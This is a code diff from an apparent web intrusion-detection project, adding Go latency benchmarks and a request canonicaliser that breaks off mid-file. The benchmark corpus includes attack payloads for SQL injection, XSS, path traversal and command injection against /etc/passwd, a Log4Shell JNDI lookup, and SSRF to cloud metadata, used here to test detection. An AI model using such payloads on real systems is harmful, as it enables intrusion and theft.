runtime/go/bench_latency_test.go ADDED
@@ -0,0 +1,441 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ package dibaguard
2
+
3
+ // Latency distributions of the fast path with the shipped models, on a mixed benign + attack corpus.
4
+ //
5
+ // Every call is timed individually (time.Now / time.Since, monotonic clock) and the benchmark reports
6
+ // p50 / p95 / p99 / p99.9 in ns per call, separately for benign and attack inputs where that differs, plus
7
+ // calls/s over all workers. Workers = GOMAXPROCS, so the -cpu flag gives single-core and concurrent numbers:
8
+ //
9
+ // go test -run XXX -bench Latency -cpu 1,4,8 -benchtime 200000x .
10
+ //
11
+ // Models are the flat exports (.bin + .bin.json) of the shipped release under $DIBAGUARD_MODELS
12
+ // (default D:/build-tmp/guard/card_repo/models): http_v2/http_tier1_v2.bin, seq_v1/seqnet.bin,
13
+ // seq_v1/nf_entity_mono.bin. A missing model skips its benchmark. Inputs are synthetic (no dataset).
14
+ // Every identifier in this file starts with "lat" so it cannot collide with the package's own.
15
+
16
+ import (
17
+ "fmt"
18
+ "math"
19
+ "math/rand"
20
+ "os"
21
+ "path/filepath"
22
+ "runtime"
23
+ "sort"
24
+ "strings"
25
+ "sync"
26
+ "testing"
27
+ "time"
28
+ )
29
+
30
+ // latClock returns nanoseconds from an arbitrary origin; bench_latency_windows_test.go replaces it with
31
+ // QueryPerformanceCounter (Go's monotonic clock on Windows only advances in ~0.5 ms steps).
32
+ var (
33
+ latClockBase = time.Now()
34
+ latClock = func() int64 { return int64(time.Since(latClockBase)) }
35
+ latClockName = "monotonic"
36
+ )
37
+
38
+ // latClockOverhead: median cost of one clock read (it is inside every timed call).
39
+ func latClockOverhead() float64 {
40
+ d := make([]int64, 20000)
41
+ for i := range d {
42
+ a := latClock()
43
+ d[i] = latClock() - a
44
+ }
45
+ return latQuantiles(d)[0]
46
+ }
47
+
48
+ func latModelDir() string {
49
+ if d := os.Getenv("DIBAGUARD_MODELS"); d != "" {
50
+ return d
51
+ }
52
+ return filepath.FromSlash("D:/build-tmp/guard/card_repo/models")
53
+ }
54
+
55
+ type latReq struct {
56
+ text string
57
+ attack bool
58
+ }
59
+
60
+ var (
61
+ latCorpusOnce sync.Once
62
+ latCorpus []latReq
63
+ )
64
+
65
+ // latRequests: 20000 canonical request texts (the form dibaguard/http/parse.py model_text produces): ~85% plain
66
+ // benign, ~5% benign that trips the signature prefilter (quotes, '&', 'select' in prose), ~10% attacks.
67
+ func latRequests() []latReq {
68
+ latCorpusOnce.Do(func() {
69
+ r := rand.New(rand.NewSource(7))
70
+ uas := []string{
71
+ "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/129.0 safari/537.36",
72
+ "mozilla/5.0 (iphone; cpu iphone os 17_5 like mac os x) applewebkit/605.1.15 mobile/15e148",
73
+ "mozilla/5.0 (linux; android 14) applewebkit/537.36 chrome/128.0 mobile safari/537.36",
74
+ "okhttp/4.12.0", // an API / app client: no ';' in its user agent
75
+ }
76
+ words := []string{"\u06a9\u062a\u0627\u0628", "\u06af\u0648\u0634\u06cc \u0633\u0627\u0645\u0633\u0648\u0646\u06af", "\u0644\u067e \u062a\u0627\u067e", "\u06a9\u0641\u0634 \u0648\u0631\u0632\u0634\u06cc", "shoes", "laptop", "phone case", "headphones", "\u062a\u062e\u0641\u06cc\u0641 \u0648\u06cc\u0698\u0647"}
77
+ tricky := []string{
78
+ "get /blog/how-to-select-a-union-member | h:user-agent=%s",
79
+ "get /search | q:q=rock & roll | h:user-agent=%s",
80
+ "get /reviews | q:text=it's great; really | h:user-agent=%s",
81
+ "get /docs/or-1-equals-1 | h:user-agent=%s",
82
+ "post /contact | b:name=ali | b:msg=hello, i love your shop! <3 | h:user-agent=%s",
83
+ "get /search | q:q=select a gift for mom | h:user-agent=%s",
84
+ }
85
+ attacks := []string{
86
+ "get /items | q:id=1' or 1=1-- - | h:user-agent=sqlmap/1.7",
87
+ "get /p | q:id=1 union select username,password from users-- | h:user-agent=%s",
88
+ "get /search | q:q=<script>alert(document.cookie)</script> | h:user-agent=%s",
89
+ "get /download | q:f=../../../../etc/passwd | h:user-agent=%s",
90
+ "get / | h:user-agent=${jndi:ldap://e.example/a}",
91
+ "get /run | q:cmd=;cat /etc/passwd | h:user-agent=%s",
92
+ "get /x | q:name={{7*7}} | h:user-agent=%s",
93
+ `post /api/v1/login | b:user.$ne= | b:pass.$gt= | h:content-type=application/json`,
94
+ "get /.git/config | h:user-agent=go-http-client/1.1",
95
+ "get /.env | h:user-agent=%s",
96
+ "get /fetch | q:url=http://169.254.169.254/latest/meta-data/ | h:user-agent=%s",
97
+ "get /index.php | q:option=com_fields | q:list[fullordering]=updatexml(1,concat(0x7e,version()),1)",
98
+ "get /p | q:id=1 and sleep(5)-- | h:user-agent=%s",
99
+ "get /?s=<svg onload=alert(1)> | h:user-agent=%s",
100
+ }
101
+ out := make([]latReq, 0, 20000)
102
+ for len(out) < 20000 {
103
+ ua := uas[r.Intn(len(uas))]
104
+ x := r.Float64()
105
+ var t string
106
+ attack := false
107
+ switch {
108
+ case x < 0.10:
109
+ t, attack = attacks[r.Intn(len(attacks))], true
110
+ if strings.Contains(t, "%s") {
111
+ t = fmt.Sprintf(t, ua)
112
+ }
113
+ case x < 0.15:
114
+ t = fmt.Sprintf(tricky[r.Intn(len(tricky))], ua)
115
+ case x < 0.45:
116
+ t = fmt.Sprintf("get /product/%d | q:color=%s | q:size=%d | h:user-agent=%s", 1+r.Intn(50000),
117
+ []string{"red", "blue", "black"}[r.Intn(3)], 36+r.Intn(10), ua)
118
+ case x < 0.58:
119
+ t = fmt.Sprintf("get /search | q:q=%s | q:page=%d | h:user-agent=%s", words[r.Intn(len(words))], 1+r.Intn(8), ua)
120
+ case x < 0.66:
121
+ t = fmt.Sprintf("get /category/%d | q:sort=price | q:page=%d | h:user-agent=%s", 1+r.Intn(300), 1+r.Intn(20), ua)
122
+ case x < 0.75:
123
+ t = fmt.Sprintf("post /api/v1/cart | b:id=%d | b:qty=%d | h:user-agent=%s | h:content-type=application/json", 1+r.Intn(50000), 1+r.Intn(4), ua)
124
+ case x < 0.82:
125
+ t = fmt.Sprintf("get /api/v1/orders/%d | h:user-agent=%s", 1000+r.Intn(90000), ua)
126
+ case x < 0.90:
127
+ t = fmt.Sprintf("get /static/js/app.%08x.js | h:user-agent=%s", r.Uint32(), ua)
128
+ case x < 0.94:
129
+ t = fmt.Sprintf("post /user/login | b:name=user%d | b:pass=pw%d | h:user-agent=%s", r.Intn(99999), r.Intn(1000000), ua)
130
+ default:
131
+ t = fmt.Sprintf("get /blog/%s | h:user-agent=%s", []string{"summer-sale", "\u0631\u0627\u0647\u0646\u0645\u0627\u06cc-\u062e\u0631\u06cc\u062f", "how-to-choose-a-laptop"}[r.Intn(3)], ua)
132
+ }
133
+ out = append(out, latReq{t, attack})
134
+ }
135
+ latCorpus = out
136
+ })
137
+ return latCorpus
138
+ }
139
+
140
+ // latRun times b.N calls split over GOMAXPROCS workers; fn(w, i) is call i on worker w (w owns its own scratch / state).
141
+ func latRun(b *testing.B, fn func(w, i int)) ([]int64, time.Duration) {
142
+ workers := runtime.GOMAXPROCS(0)
143
+ n := b.N
144
+ d := make([]int64, n)
145
+ per := (n + workers - 1) / workers
146
+ var wg sync.WaitGroup
147
+ b.ResetTimer()
148
+ start := time.Now()
149
+ for w := 0; w < workers; w++ {
150
+ lo, hi := w*per, min((w+1)*per, n)
151
+ if lo >= hi {
152
+ continue
153
+ }
154
+ wg.Add(1)
155
+ go func(w, lo, hi int) {
156
+ defer wg.Done()
157
+ for i := lo; i < hi; i++ {
158
+ t0 := latClock()
159
+ fn(w, i)
160
+ d[i] = latClock() - t0
161
+ }
162
+ }(w, lo, hi)
163
+ }
164
+ wg.Wait()
165
+ wall := time.Since(start)
166
+ b.StopTimer()
167
+ return d, wall
168
+ }
169
+
170
+ func latQuantiles(d []int64) [4]float64 {
171
+ s := append([]int64(nil), d...)
172
+ sort.Slice(s, func(a, b int) bool { return s[a] < s[b] })
173
+ var q [4]float64
174
+ if len(s) == 0 {
175
+ return q
176
+ }
177
+ for k, p := range []float64{50, 95, 99, 99.9} {
178
+ i := int(math.Ceil(p/100*float64(len(s)))) - 1
179
+ i = max(0, min(i, len(s)-1))
180
+ q[k] = float64(s[i])
181
+ }
182
+ return q
183
+ }
184
+
185
+ // latReport: overall percentiles + calls/s; with a mask, the percentiles of the masked (attack) and other calls too.
186
+ func latReport(b *testing.B, d []int64, wall time.Duration, attack func(i int) bool) {
187
+ q := latQuantiles(d)
188
+ b.ReportMetric(q[0], "p50-ns")
189
+ b.ReportMetric(q[1], "p95-ns")
190
+ b.ReportMetric(q[2], "p99-ns")
191
+ b.ReportMetric(q[3], "p99.9-ns")
192
+ b.ReportMetric(float64(len(d))/wall.Seconds(), "calls/s")
193
+ ov := latClockOverhead()
194
+ b.ReportMetric(ov, "clock-ns")
195
+ msg := fmt.Sprintf("workers=%d calls=%d all p50/p95/p99/p99.9 = %.0f/%.0f/%.0f/%.0f ns, %.0f calls/s (clock %s, %.0f ns per read)",
196
+ runtime.GOMAXPROCS(0), len(d), q[0], q[1], q[2], q[3], float64(len(d))/wall.Seconds(), latClockName, ov)
197
+ if attack != nil {
198
+ var a, o []int64
199
+ for i, v := range d {
200
+ if attack(i) {
201
+ a = append(a, v)
202
+ } else {
203
+ o = append(o, v)
204
+ }
205
+ }
206
+ qa, qo := latQuantiles(a), latQuantiles(o)
207
+ b.ReportMetric(qo[0], "benign-p50-ns")
208
+ b.ReportMetric(qo[2], "benign-p99-ns")
209
+ b.ReportMetric(qa[0], "attack-p50-ns")
210
+ b.ReportMetric(qa[2], "attack-p99-ns")
211
+ msg += fmt.Sprintf(" | benign p50/p99/p99.9 %.0f/%.0f/%.0f | attack p50/p99/p99.9 %.0f/%.0f/%.0f", qo[0], qo[2], qo[3], qa[0], qa[2], qa[3])
212
+ }
213
+ b.Log(msg)
214
+ }
215
+
216
+ // latPrefilterClean mirrors the prefilter at the top of MatchSigs: true when no trigger byte / substring is present,
217
+ // so the regexes are skipped.
218
+ func latPrefilterClean(text string) bool { return !mayMatch(strings.ToLower(text)) }
219
+
220
+ func BenchmarkLatencyMatchSigs(b *testing.B) {
221
+ c := latRequests()
222
+ d, wall := latRun(b, func(w, i int) { MatchSigs(c[i%len(c)].text) })
223
+ latReport(b, d, wall, func(i int) bool { return c[i%len(c)].attack })
224
+ var clean, dirty []int64
225
+ nb, nc := 0, 0
226
+ for i, v := range d {
227
+ r := c[i%len(c)]
228
+ if r.attack {
229
+ continue
230
+ }
231
+ nb++
232
+ if latPrefilterClean(r.text) {
233
+ nc++
234
+ clean = append(clean, v)
235
+ } else {
236
+ dirty = append(dirty, v)
237
+ }
238
+ }
239
+ qc, qd := latQuantiles(clean), latQuantiles(dirty)
240
+ b.ReportMetric(float64(nc)/float64(max(nb, 1)), "benign-prefilter-skip-share")
241
+ b.ReportMetric(qc[0], "benign-skipped-p50-ns")
242
+ b.ReportMetric(qd[0], "benign-regex-p50-ns")
243
+ b.Logf("benign calls: %d, %.1f%% skipped the regexes (p50/p99 %.0f/%.0f ns), the rest ran them (p50/p99 %.0f/%.0f ns)",
244
+ nb, 100*float64(nc)/float64(max(nb, 1)), qc[0], qc[2], qd[0], qd[2])
245
+ }
246
+
247
+ func latLoadHTTP2(b *testing.B) *HTTPModel2 {
248
+ m, err := LoadHTTP2(filepath.Join(latModelDir(), "http_v2", "http_tier1_v2.bin"))
249
+ if err != nil {
250
+ b.Skip("no shipped http_v2 flat model:", err)
251
+ }
252
+ return m
253
+ }
254
+
255
+ func latScratch(workers, n int) [][]uint64 {
256
+ s := make([][]uint64, workers)
257
+ for w := range s {
258
+ s[w] = make([]uint64, 0, n)
259
+ }
260
+ return s
261
+ }
262
+
263
+ func BenchmarkLatencyHTTP2(b *testing.B) {
264
+ m := latLoadHTTP2(b)
265
+ c := latRequests()
266
+ sc := latScratch(runtime.GOMAXPROCS(0), 8192)
267
+ d, wall := latRun(b, func(w, i int) { m.Logits(c[i%len(c)].text, 0, sc[w]) })
268
+ latReport(b, d, wall, func(i int) bool { return c[i%len(c)].attack })
269
+ }
270
+
271
+ // latFiLM is the site's FiLM (gamma, beta) - a function of the site profile only, which HTTPModel2.Logits
272
+ // recomputes on every request ([H] x [H, 2H] multiply-adds + 2H tanh).
273
+ func latFiLM(m *HTTPModel2) ([]float32, []float32) {
274
+ g, bb := make([]float32, m.H), make([]float32, m.H)
275
+ for j := 0; j < m.H; j++ {
276
+ gs, bs := m.Bc[j], m.Bc[m.H+j]
277
+ for i := 0; i < m.H; i++ {
278
+ gs += m.Site.Ctx[i] * m.Wc[i*2*m.H+j]
279
+ bs += m.Site.Ctx[i] * m.Wc[i*2*m.H+m.H+j]
280
+ }
281
+ g[j], bb[j] = float32(math.Tanh(float64(gs))), float32(math.Tanh(float64(bs)))
282
+ }
283
+ return g, bb
284
+ }
285
+
286
+ func latLogitsCached(m *HTTPModel2, g, bb []float32, text string, scratch []uint64) float32 {
287
+ h := m.hidden(m.bag(text, scratch), text, 0, m.Site.SMean)
288
+ s := m.B2[0]
289
+ for j := range h {
290
+ s += (h[j]*(1+g[j]) + bb[j]) * m.W2[j*m.C]
291
+ }
292
+ return s
293
+ }
294
+
295
+ // BenchmarkLatencyHTTP2CachedFiLM: the same logit with the site FiLM computed once per site profile (what a fix to
296
+ // HTTPModel2.Logits would do); checked equal to Logits on the whole corpus before timing.
297
+ func BenchmarkLatencyHTTP2CachedFiLM(b *testing.B) {
298
+ m := latLoadHTTP2(b)
299
+ c := latRequests()
300
+ g, bb := latFiLM(m)
301
+ sc := latScratch(runtime.GOMAXPROCS(0), 8192)
302
+ worst := 0.0
303
+ for _, r := range c[:2000] {
304
+ a, z := m.Logits(r.text, 0, sc[0])[0], latLogitsCached(m, g, bb, r.text, sc[0])
305
+ worst = math.Max(worst, math.Abs(float64(a-z)))
306
+ }
307
+ if worst > 1e-3 {
308
+ b.Fatalf("cached FiLM differs from Logits: max abs diff %g", worst)
309
+ }
310
+ d, wall := latRun(b, func(w, i int) { latLogitsCached(m, g, bb, c[i%len(c)].text, sc[w]) })
311
+ latReport(b, d, wall, func(i int) bool { return c[i%len(c)].attack })
312
+ }
313
+
314
+ // BenchmarkLatencyRequestPath: signatures first, the model only for requests no signature decided (proxy order).
315
+ func BenchmarkLatencyRequestPath(b *testing.B) {
316
+ m := latLoadHTTP2(b)
317
+ c := latRequests()
318
+ sc := latScratch(runtime.GOMAXPROCS(0), 8192)
319
+ d, wall := latRun(b, func(w, i int) {
320
+ r := c[i%len(c)].text
321
+ if _, act := MatchSigs(r); act == "allow" {
322
+ m.Logits(r, 0, sc[w])
323
+ }
324
+ })
325
+ latReport(b, d, wall, func(i int) bool { return c[i%len(c)].attack })
326
+ }
327
+
328
+ func BenchmarkLatencySeqNetStep(b *testing.B) {
329
+ m, err := LoadSeqNet(filepath.Join(latModelDir(), "seq_v1", "seqnet.bin"))
330
+ if err != nil {
331
+ b.Skip("no shipped seq_v1 flat model:", err)
332
+ }
333
+ workers := runtime.GOMAXPROCS(0)
334
+ r := rand.New(rand.NewSource(3))
335
+ const pool = 4096
336
+ xs := make([][]float32, pool)
337
+ ports, protos := make([]int, pool), make([]int, pool)
338
+ for i := range xs {
339
+ xs[i] = make([]float32, m.NumIn)
340
+ for j := range xs[i] {
341
+ xs[i][j] = float32(r.NormFloat64())
342
+ }
343
+ ports[i], protos[i] = r.Intn(m.PortVocab), r.Intn(m.ProtoVocab)
344
+ }
345
+ const sources = 10000 // per worker: one GRU state per warm source
346
+ states := make([][][]float32, workers)
347
+ outs, scr := make([][]float32, workers), make([][]float32, workers)
348
+ for w := range states {
349
+ states[w] = make([][]float32, sources)
350
+ for s := range states[w] {
351
+ states[w][s] = m.NewState()
352
+ }
353
+ outs[w], scr[w] = make([]float32, m.C), make([]float32, 0, 4096)
354
+ }
355
+ d, wall := latRun(b, func(w, i int) {
356
+ k := i % pool
357
+ outs[w] = m.Step(xs[k], ports[k], protos[k], states[w][(i*7919)%sources], outs[w], scr[w])
358
+ })
359
+ latReport(b, d, wall, nil)
360
+ b.Logf("seqnet: layers %d d %d inputs %d classes %d, state %d B per source", m.Layers, m.D, m.In, m.C, 4*m.Layers*m.D)
361
+ }
362
+
363
+ // latEntityNames is dibaguard/flows/entity.py feature_names(): the order EntityState.Update writes its features in.
364
+ func latEntityNames() []string {
365
+ per := []string{"flows", "bytes_in", "pkts_in", "noreply", "synonly", "rst", "newport", "newhost", "repeat", "short"}
366
+ var out []string
367
+ for h := 1; h <= 3; h++ {
368
+ for _, p := range per {
369
+ out = append(out, fmt.Sprintf("src_%s_h%d", p, h))
370
+ }
371
+ }
372
+ return append(out, "gap_s", "gap_ewma_s", "dst_flows_h1", "dst_noreply_h1", "dst_newsrc_h1", "dst_flows_h2")
373
+ }
374
+
375
+ // BenchmarkLatencyFlowTier01: per flow, the entity update (tier 0) and the monotone tier-1 trees on its features -
376
+ // the work every flow costs. Sources follow the Zipf-like population of guard_jobs/scale_bench.py (200k sources,
377
+ // 30% of flows from a never-seen source); each worker owns one EntityState shard (max 500k sources), as a
378
+ // deployment would shard by source.
379
+ func BenchmarkLatencyFlowTier01(b *testing.B) {
380
+ t1, err := LoadOblivious(filepath.Join(latModelDir(), "seq_v1", "nf_entity_mono.bin"))
381
+ if err != nil {
382
+ b.Skip("no shipped tier-1 flat model:", err)
383
+ }
384
+ names := latEntityNames()
385
+ pos := map[string]int{}
386
+ for i, n := range names {
387
+ pos[n] = i
388
+ }
389
+ sel := make([]int, len(t1.Names))
390
+ for k, n := range t1.Names {
391
+ p, ok := pos[n]
392
+ if !ok {
393
+ b.Skipf("tier-1 feature %q is not an entity feature", n)
394
+ }
395
+ sel[k] = p
396
+ }
397
+ workers := runtime.GOMAXPROCS(0)
398
+ r := rand.New(rand.NewSource(5))
399
+ const pool = 1 << 20
400
+ type flow struct {
401
+ src, dst string
402
+ port int
403
+ bin, pin, pout float64
404
+ syn, rst, short bool
405
+ }
406
+ fl := make([]flow, pool)
407
+ n := 0
408
+ for i := range fl {
409
+ var id int
410
+ if r.Float64() < 0.3 || n == 0 {
411
+ id = n
412
+ n++
413
+ } else {
414
+ id = int(float64(n) * math.Pow(r.Float64(), 3))
415
+ }
416
+ noreply := r.Float64() < 0.005
417
+ f := flow{src: fmt.Sprintf("11.%d.%d.%d", id>>16&255, id>>8&255, id&255), dst: fmt.Sprintf("10.1.0.%d", (id*2654435761)%200),
418
+ port: []int{443, 80, 53, 8080, 22}[r.Intn(5)], bin: math.Exp(6.3 + 1.1*r.NormFloat64()), pin: float64(1 + r.Intn(30)), pout: float64(1 + r.Intn(30))}
419
+ if noreply {
420
+ f.pout, f.syn, f.short = 0, true, true
421
+ }
422
+ fl[i] = f
423
+ }
424
+ es := make([]*EntityState, workers)
425
+ feat, x, out, tests := make([][]float32, workers), make([][]float32, workers), make([][]float32, workers), make([][]bool, workers)
426
+ for w := range es {
427
+ es[w] = NewEntityState(nil, 500000)
428
+ feat[w] = make([]float32, 0, es[w].NumFeatures())
429
+ x[w], out[w], tests[w] = make([]float32, len(sel)), make([]float32, t1.C), make([]bool, len(t1.Feat))
430
+ }
431
+ d, wall := latRun(b, func(w, i int) {
432
+ f := &fl[i%pool]
433
+ feat[w] = es[w].Update(float64(i)*0.0017, f.src, f.dst, f.port, f.bin, f.pin, f.pout, f.syn, f.rst, f.short, feat[w][:0])
434
+ for k, p := range sel {
435
+ x[w][k] = feat[w][p]
436
+ }
437
+ t1.Raw(x[w], out[w], tests[w])
438
+ })
439
+ latReport(b, d, wall, nil)
440
+ b.Logf("tier-1: %d trees depth %d on %d features; %d distinct sources in the flow pool", t1.T, t1.D, len(sel), n)
441
+ }
runtime/go/bench_latency_windows_test.go ADDED
@@ -0,0 +1,30 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ //go:build windows
2
+
3
+ package dibaguard
4
+
5
+ // Windows clock for bench_latency_test.go: Go's monotonic clock on Windows advances in ~0.5 ms steps (the interrupt
6
+ // time), far too coarse for microsecond calls, so per-call durations come from QueryPerformanceCounter instead.
7
+
8
+ import (
9
+ "syscall"
10
+ "unsafe"
11
+ )
12
+
13
+ func init() {
14
+ k32 := syscall.NewLazyDLL("kernel32.dll")
15
+ qpc, qpf := k32.NewProc("QueryPerformanceCounter"), k32.NewProc("QueryPerformanceFrequency")
16
+ if qpc.Find() != nil || qpf.Find() != nil {
17
+ return
18
+ }
19
+ var freq int64
20
+ if r, _, _ := syscall.SyscallN(qpf.Addr(), uintptr(unsafe.Pointer(&freq))); r == 0 || freq <= 0 {
21
+ return
22
+ }
23
+ addr := qpc.Addr()
24
+ latClock = func() int64 {
25
+ var c int64
26
+ syscall.SyscallN(addr, uintptr(unsafe.Pointer(&c)))
27
+ return c/freq*1_000_000_000 + c%freq*1_000_000_000/freq
28
+ }
29
+ latClockName = "QueryPerformanceCounter"
30
+ }
runtime/go/canon.go ADDED
@@ -0,0 +1,486 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ package dibaguard
2
+
3
+ import (
4
+ "regexp"
5
+ "sort"
6
+ "strings"
7
+ "unicode"
8
+ "unicode/utf8"
9
+ )
10
+
11
+ // The Python canonicaliser (dibaguard/http/canon.py) in Go, character for character: the fast path judges - and sends
12
+ // its sidecar - the very same text as the Python edge (V-08), so every Python-side defence holds in a Go deployment.
13
+ // canon_parity.json (written by tests/test_parity.py) holds Python's text for a corpus of wire requests and
14
+ // TestCanonParity requires Go to write the same bytes.
15
+ //
16
+ // Lengths and cuts are in code points (Python's len and slices), never in bytes. Python's NFKC is applied character
17
+ // by character from a table generated from Python's unicodedata (pytables_gen.go): equal to full NFKC on every
18
+ // string of the zanbil.ir log and the CRS tests (351k strings); it differs only for decomposed combining sequences
19
+ // ("e" + U+0301), which never produce or break an ASCII keyword. Python's html.unescape is mirrored exactly (its
20
+ // HTML5 entity table and numeric rules are generated too). Known divergence: Greek final sigma in str.lower().
21
+
22
+ const (
23
+ canonMaxLen = 8192 // canon.MAX_LEN: code points of a raw value decoded per call
24
+ canonMaxRounds = 4
25
+ )
26
+
27
+ var (
28
+ reMySQLExec = regexp.MustCompile(`(?s)/\*!\p{Nd}*(.*?)\*/`) // canon.MYSQL_EXEC (Python's \d is Unicode)
29
+ reCComment = regexp.MustCompile(`(?s)/\*.*?\*/`) // canon.C_COMMENT
30
+ reLineComment = regexp.MustCompile(`(?:#|--)[^\r\n]*[\r\n]`) // canon.LINE_COMMENT
31
+ )
32
+
33
+ // the generated Python tables (pytables_gen.go) as lookups
34
+ var (
35
+ html5Entities = map[string]string{}
36
+ htmlInvalidCharrefs = map[int]string{}
37
+ htmlInvalidCodepoints = map[int]bool{}
38
+ )
39
+
40
+ func init() {
41
+ for _, e := range html5List {
42
+ html5Entities[e.k] = e.v
43
+ }
44
+ for _, e := range htmlInvalidCharrefList {
45
+ htmlInvalidCharrefs[e.k] = e.v
46
+ }
47
+ for _, c := range htmlInvalidCodepointList {
48
+ htmlInvalidCodepoints[c] = true
49
+ }
50
+ }
51
+
52
+ // pyIsSpace is Python's str.isspace (and the `\s` of a str pattern): Unicode White_Space plus U+001C..U+001F.
53
+ func pyIsSpace(r rune) bool { return unicode.IsSpace(r) || 0x1c <= r && r <= 0x1f }
54
+
55
+ // pyStrip is Python's str.strip().
56
+ func pyStrip(s string) string { return strings.TrimFunc(s, pyIsSpace) }
57
+
58
+ // runeLen is Python's len.
59
+ func runeLen(s string) int { return utf8.RuneCountInString(s) }
60
+
61
+ // runeCut is Python's s[:n].
62
+ func runeCut(s string, n int) string {
63
+ if n <= 0 {
64
+ return ""
65
+ }
66
+ if len(s) <= n { // bytes >= runes: nothing to cut
67
+ return s
68
+ }
69
+ i := 0
70
+ for k := range s {
71
+ if i == n {
72
+ return s[:k]
73
+ }
74
+ i++
75
+ }
76
+ return s
77
+ }
78
+
79
+ // runeFrom is Python's s[n:].
80
+ func runeFrom(s string, n int) string {
81
+ if n <= 0 {
82
+ return s
83
+ }
84
+ i := 0
85
+ for k := range s {
86
+ if i == n {
87
+ return s[k:]
88
+ }
89
+ i++
90
+ }
91
+ return ""
92
+ }
93
+
94
+ // validUTF8 replaces every ill-formed subsequence of b with U+FFFD the way Python's utf-8 decoder with
95
+ // errors="replace" does (one U+FFFD per maximal subpart, Unicode 3.9 table 3-7), so decoded percent-escapes agree.
96
+ func validUTF8(b []byte) string {
97
+ if utf8.Valid(b) {
98
+ return string(b)
99
+ }
100
+ out := make([]byte, 0, len(b)+8)
101
+ for i := 0; i < len(b); {
102
+ c := b[i]
103
+ if c < 0x80 {
104
+ out = append(out, c)
105
+ i++
106
+ continue
107
+ }
108
+ if r, n := utf8.DecodeRune(b[i:]); r != utf8.RuneError || n > 1 {
109
+ out = append(out, b[i:i+n]...)
110
+ i += n
111
+ continue
112
+ }
113
+ // ill-formed: the lead byte plus as many valid continuation bytes as a well-formed sequence would allow
114
+ need, lo, hi := 0, byte(0x80), byte(0xBF)
115
+ switch {
116
+ case 0xC2 <= c && c <= 0xDF:
117
+ need = 1
118
+ case c == 0xE0:
119
+ need, lo = 2, 0xA0
120
+ case 0xE1 <= c && c <= 0xEC || c == 0xEE || c == 0xEF:
121
+ need = 2
122
+ case c == 0xED:
123
+ need, hi = 2, 0x9F
124
+ case c == 0xF0:
125
+ need, lo = 3, 0x90
126
+ case 0xF1 <= c && c <= 0xF3:
127
+ need = 3
128
+ case c == 0xF4:
129
+ need, hi = 3, 0x8F
130
+ }
131
+ j := i + 1
132
+ for k := 0; k < need && j < len(b); k++ {
133
+ x := b[j]
134
+ if k == 0 && (x < lo || x > hi) || k > 0 && (x < 0x80 || x > 0xBF) {
135
+ break
136
+ }
137
+ j++
138
+ }
139
+ out = append(out, "�"...)
140
+ i = j
141
+ }
142
+ return string(out)
143
+ }
144
+
145
+ func appendRune(b []byte, r rune) []byte {
146
+ if 0xD800 <= r && r <= 0xDFFF { // a lone surrogate: Python keeps it until canon replaces it with U+FFFD
147
